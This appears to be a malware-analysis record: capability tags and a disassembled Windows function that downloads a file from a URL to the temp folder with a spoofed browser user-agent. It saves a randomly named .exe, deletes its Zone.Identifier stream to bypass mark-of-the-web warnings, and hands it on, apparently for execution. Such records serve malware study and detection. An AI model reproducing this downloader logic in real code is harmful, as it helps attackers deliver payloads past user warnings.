Function at 0x401120
Capabilities:
Bypass mark of the web
Create http request
Delete file
Download and write a file
Download url
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
sub esp, 0x72c
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
add esp, 4
push 0x104
lea eax, [esp + 0x534]
push eax
push str._temp_
mov byte [esp + 0x1b], 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
mov ebp, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [esp + 0x20]
add edx, 0x3e8
push edx
lea edx, [esp + 0x538]
push edx
push 0x402208
push eax
call ebp
add esp, 0x14
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_83.0.4103.116_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebx, eax
mov dword [esp + 0x14], ebx
test ebx, ebx
je 0x4012b9
mov ecx, dword [esp + 0x73c]
push edi
push 0
push 0
push 0
push 0
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov edi, eax
test edi, edi
je 0x4012b1
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea edx, [esp + 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4012a4
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [esp + 0x14]
push eax
push 0x103
lea ecx, [esp + 0x230]
push ecx
push edi
call ebp
test eax, eax
je 0x40125f
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40125b
push 0
lea edx, [esp + 0x20]
push edx
push eax
lea eax, [esp + 0x234]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ecx
push 0x103
lea edx, [esp + 0x230]
push edx
push edi
call ebp
test eax, eax
jne 0x401227
mov ebx, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x330]
push 0x402308
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [esp + 0x32c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x20]
push eax
call fcn.00401080
add esp, 4
cmp al, 1
jne 0x4012a4
mov byte [esp + 0x13], al
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [sym.imp.USER32.dll_wsprintfW]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
cmp byte [esp + 0xf], 0
jne 0x401375
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
push edx
call esi
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
lea eax, [esp + 0x20]
add edx, 0x3e8
push edx
lea edx, [esp + 0x538]
push edx
push str._s_d_d.exe
push eax
call ebp
mov edx, dword [esp + 0x750]
add esp, 0x14
push 0
push 0
lea ecx, [esp + 0x24]
push ecx
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jne 0x401375
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x32c]
push str._s:Zone.Identifier
push ecx
call ebp
add esp, 0xc
lea edx, [esp + 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x1c]
push eax
call fcn.00401080
add esp, 4
pop esi
pop ebp
pop ebx
add esp, 0x72c
ret